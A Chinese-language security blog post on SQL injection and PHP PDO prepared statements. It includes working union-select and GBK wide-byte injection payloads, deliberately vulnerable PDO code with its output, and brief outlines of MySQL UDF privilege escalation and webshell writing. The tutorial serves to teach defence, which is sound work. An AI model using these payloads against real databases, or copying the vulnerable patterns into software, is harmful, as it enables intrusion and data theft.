预编译使用占位符?代替字段值的部分,将SQL语句先交由数据库预处理,构建语法树,再传入真正的字段值多次执行,省却了重复解析和优化相同语法树的时间,提升了SQL执行的效率。

正因为在传入字段值之前,语法树已经构建完成,因此无论传入任何字段值,都无法再更改语法树的结构。至此,任何传入的值都只会被当做值来看待(不会当成语句执行),不会再出现非预期的查询,这便是预编译能够防止SQL注入的根本原因。

比如:

1
select * from user where id = 1;

该条语句经过预编译之后:

  • 先构造语法树,同时使用?代替字段

    1
    select * from user where id=?;
  • 在将值转换为hex形式,放到?所在的位置进行查询

    1
    select * from user where id=0x31

常见语言的预编译方案

  • Python

    调用execute()进行参数化查询,如:cursor.execute("insert into people values (?, ?)", (who, age))

  • Java

    使用PreparedStatement对象,如:

    1
    2
    3
    4
    5
    String id = "1";
    String sql = "select * from user where id=?";
    PreparedStatement ps = conn.preparestatement(sql);
    ps.setSttring(1, id);
    ps.execute()
  • PHP

    使用PDO

预编译也无法解决的SQL注入问题

这里主要讲解一下PDO场景下的SQL注入。

PDO写法不规范导致的PDO失效问题

如:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<?php

try {
$db = new PDO("mysql:host=127.0.0.1;dbname=test",'root','mysql_password');
}
catch (Exception $e){
echo $e->getMessage();
}

$id = "0 union select 1,2,3,database()";

$query = "select * from user where id={$id}";

$row = $db->query($query);
$row->bindParam(1, $id);
$row->execute();
$result = $row->fetch(PDO::FETCH_ASSOC);
if ($result){
echo "结果为:";
print_r(json_encode($result));
}

输出:

1
2
3
/usr/local/opt/php@7.4/bin/php /Users/xxx/PhpstormProjects/Learning/des_temp.php
结果为:{"id":"1","username":"2","age":"3","sex":"test"}
Process finished with exit code 0

可以看到,虽然用了PDO,但是参数可控,且是直接拼接的,这种方式,PDO也表示汗颜。。

PDO默认配置导致的安全问题

如果我们在查询语句中没有可控的参数,并把输入的参数按照 prepare->bindParam->execute 的方式去写就一定没有问题了吗?

PDO主要有三项设置:

1
2
3
4
5
6
7
8
PDO::ATTR_EMULATE_PREPARES
- 模拟预编译,如果为False,则不存在SQL注入;如果为True(默认为True),则PDO并非真正的预编译,而是将输入统一转化为字符型,并转义特殊字符。这样如果是gbk编码则存在宽字节注入。

PDO::ATTR_ERRMODE
- 此为报错,如果设置为True,则会泄露一些信息

PDO::MYSQL_ATTR_MULTI_STATEMENTS
- 这是多句执行,默认为True。如果设为True,且第一项也为True,则会存在宽字节+堆叠注入的大漏洞。

小知识:模拟预编译

模拟预处理用于数据库不支持预编译机制的情况,其本质是在底层先对用户输入进行转义后,再对SQL语句进行拼接,然后将完整的语句发送给数据库执行。任何可控的拼接都是具有一定危险性的,在PHP 5.3.6前,这种转义是通过单字节字符集来完成的,因此存在宽字节注入。有的数据库并不支持预编译,因此为了增大PDO的使用范围,默认情况下是PDO::ATTR_EMULATE_PREPARES是开启的。

我们挨个看看问题。

PDO::ATTR_EMULATE_PREPARES 默认配置问题

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<?php

try {
$db = new PDO("mysql:host=127.0.0.1;dbname=test",'root','mysql_password');
$db->setAttribute(PDO::ATTR_EMULATE_PREPARES, true); // 默认就是true
$db->setAttribute(PDO::MYSQL_ATTR_MULTI_STATEMENTS, true); // 默认就是true
}
catch (Exception $e){
echo $e->getMessage();
}

$id = "0 union select 1,2,3,database()";

$query = "select * from user where id=?";

$row = $db->prepare($query);
$row->bindParam(1, $id);
$row->execute();
$result = $row->fetch(PDO::FETCH_ASSOC);
if ($result){
echo "结果为:";
print_r(json_encode($result));
}

输出:

1
2
3
/usr/local/opt/php@7.4/bin/php /Users/xxx/PhpstormProjects/Learning/des_temp.php

Process finished with exit code 0

会发现,正常情况下使用预编译、参数绑定、执行,是没有注入的(没有任何输出)。

但是当数据库采用gbk编码的时候,我们再来看看PDO的问题。更改编码方式为gbk

1
2
3
4
5
6
7
8
9
10
11
12
13
mysql> show variables like 'character%';
+--------------------------+-----------------------------------------------------------+
| Variable_name | Value |
+--------------------------+-----------------------------------------------------------+
| character_set_client | gbk |
| character_set_connection | gbk |
| character_set_database | gbk |
| character_set_filesystem | gbk |
| character_set_results | gbk |
| character_set_server | gbk |
| character_set_system | utf8 |
| character_sets_dir | /usr/local/mysql-8.0.23-macos10.15-x86_64/share/charsets/ |
+--------------------------+-----------------------------------------------------------+

$id的值替换为

1
$id = "-1\xdf\x27 union select 1,2,3,database()";

mysql开启general_log,再去执行我们的代码,可以看到数据虽然没有返回,但是还是成功执行了。

general_log的日志:

1
2
3
210705  8:18:12   121 Connect   root@gateway on test
121 Query select * from user where id='-1\ß\' union select 1,database(),3,4 #'
121 Quit

原理见上边「宽字节注入」,不再赘述

在mysql里执行一下预编译后的sql代码,可成功执行:

1
2
3
4
5
6
7
mysql> select * from user where id='-1\ß\' union select 1,database(),3,4 #';
+----+----------+------+------+
| id | username | age | sex |
+----+----------+------+------+
| 1 | test | 3 | 4 |
+----+----------+------+------+
1 row in set (0.00 sec)

PDO::ATTR_EMULATE_PREPARES是true的时候,将输入统一转化为字符型,并转义特殊字符,gbk编码时就存在宽字节注入。

我们将PDO::ATTR_EMULATE_PREPARES设置为false,再执行看看?

  • general_log

    1
    2
    3
    4
    5
    210705  8:17:31   120 Connect   root@gateway on test
    120 Prepare select * from user where id=?
    120 Execute select * from user where id=0x2D31DF2720756E696F6E2073656C65637420312C646174616261736528292C332C342023
    120 Close stmt
    120 Quit

    可以看到,相比之前,日志多了一个Prepare的操作,正是这个操作才真正完成了预编译,也就没有了注入。

在mysql里执行一下预编译后的SQL代码,可发现执行后没有问题:

1
2
mysql> select * from user where id=0x2D31DF2720756E696F6E2073656C65637420312C646174616261736528292C332C342023;
Empty set (0.02 sec)

PDO::MYSQL_ATTR_MULTI_STATEMENTS 默认配置问题

该属性用来配置是否允许多句执行,默认是允许的,可union注入,见上例。

MySQL UDF提权(主要分四步)

  • 获取动态链接库
  • 找到插件存储位置
  • 写入动态链接库
  • 创建自定义函数并调用

SQL注入写Shell的条件

  1. 文件名必须是绝对路径
  2. 用户必须具有写文件权限

如果您喜欢此博客或发现它对您有用,则欢迎对此发表评论。 也欢迎您共享此博客,以便更多人可以参与。 如果博客中使用的图像侵犯了您的版权,请与作者联系以将其删除。 谢谢 !